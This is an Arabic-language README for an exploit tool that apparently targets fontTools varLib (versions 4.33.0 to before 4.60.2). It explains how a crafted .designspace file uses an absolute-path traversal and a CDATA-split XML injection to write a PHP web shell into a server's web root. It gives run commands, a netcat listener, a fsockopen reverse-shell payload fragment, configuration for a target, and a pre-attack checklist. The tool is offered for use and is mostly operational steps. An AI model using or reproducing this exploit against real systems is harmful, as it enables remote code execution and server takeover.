المهاجم يصوغ ملف .designspace خبيث
            │
            ├── <variable-font filename="/var/www/html/files/shell.php">
            │        └── تجاوز المسار
            │            os.path.join(output_dir, absolute_path)
            │            → تجاهل output_dir → الكتابة في جذر الويب
            │
            └── <labelname><![CDATA[<?php ... ?>]]]]><![CDATA[>]]></labelname>
                     └── حقن XML
                         انقسام CDATA يدمج كود PHP خام
                         في ملف الخط الثنائي الناتج
            │
            ▼
    fontTools.varLib.main() يعالج الملف من جانب الخادم
            │
            ▼
    shell.php مكتوب في دليل يمكن الوصول إليه عبر الويب
            │
            ▼
    GET /files/shell.php → تنفيذ PHP → استدعاء الصدفة العكسية
            │
            ▼
    تنفيذ تعليمات برمجية كـ www-data

pip install fonttools requests

nc (netcat) — مطلوب لوضع المستمع التلقائي (--no-listen يتخطى ذلك)

git clone https://github.com/yourhandle/font_varlib
cd font_varlib
pip install fonttools requests

# ══════════════════════════════════════════════════════════════════════════════
#  الإعدادات الافتراضية
#  غيّر هذه القيم لتتناسب مع هدفك قبل التشغيل.
#  يمكن أيضًا تجاوز جميع القيم أثناء التشغيل عبر علامات سطر الأوامر — راجع --help.
# ══════════════════════════════════════════════════════════════════════════════

# عنوان URL الأساسي لمضيف الرفع (الموقع الذي يقبل ملف .designspace)
UPLOAD_HOST      = "http://test.com"

# المسار على مضيف الرفع الذي يعالج طلب POST متعدد الأجزاء
# أكد باستخدام Burp — ابحث عن POST بعد النقر على زر التوليد
UPLOAD_ENDPOINT  = "/tools/variable-font-generator/process"

# مسار نظام الملفات المطلق على الخادم حيث تُكتب ملفات الإخراج
# يجب أن يكون قابلاً للوصول عبر الويب حتى يمكن تشغيل الصدفة عبر HTTP
WEBROOT          = "/var/www/test.com/public/files"

# عنوان URL الأساسي المستخدم لجلب/تشغيل ملف الصدفة المكتوب
# يطابق WEBROOT على القرص
SHELL_HOST       = "http://testing.test.com/files"

# أسماء حقول النموذج متعدد الأجزاء — أكد باستخدام Burp قبل التشغيل
# إذا فشل الرفع بصمت (HTTP 200 ولكن لا توجد صدفة)، فإن أسماء الحقول الخاطئة هي السبب
FIELD_DESIGNSPACE = "designspace"
FIELD_MASTERS     = "masters"

# بادئة اسم ملف الصدفة — يتم إلحاق لاحقة عشوائية وقت التشغيل
SHELL_PREFIX     = "f0nt_"

# طول اللاحقة العشوائية — أطول يعني أصعب في التخمين
SHELL_SUFFIX_LEN = 8

python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port <المنفذ>

# الطرفية 1 — ابدأ المستمع خاصتك
nc -lvnp 4444

# الطرفية 2 — شغّل الأداة بدون مستمع تلقائي
python3 font_varlib.py --ip <عنوان_IP_المهاجم> --port 4444 --no-listen

python3 font_varlib.py \
  --ip 10.10.14.5 \
  --port 4444 \
  --upload http://target.htb/tools/variable-font-generator/process \
  --webroot /var/www/html/files \
  --shell http://target.htb/files

<labelname xml:lang="en">
  <![CDATA[<?php $s=fsockopen("IP",PORT); ... ?>]]]]><![CDATA[>]]>
</labelname>

<variable-font name="MaliciousFont" filename="/var/www/html/files/shell.php">

output_path = os.path.join(output_dir, filename)

filename = vf.filename                             # يتحكم به المهاجم، غير منقى
output_path = os.path.join(output_dir, filename)  # تجاوز المسار عبر المسار المطلق
vf.save(output_path)                              # كتابة ملف عشوائي

[ ] إصدار fonttools على الهدف هو >= 4.33.0 و < 4.60.2
[ ] الهدف يقبل رفع ملفات .designspace + .ttf
[ ] النهاية الخلفية تستدعي fontTools.varLib.main() على ملف .designspace المرفوع
[ ] تأكيد أسماء حقول نموذج الرفع باستخدام Burp (designspace + masters)
[ ] WEBROOT يمكن الوصول إليه عبر الويب من الخارج
[ ] WEBROOT قابل للكتابة بواسطة عملية الويب (www-data أو ما يعادلها)
[ ] SHELL_HOST (--shell) يمكن الوصول إليه من جهازك
[ ] اسم مضيف الهدف موجود في /etc/hosts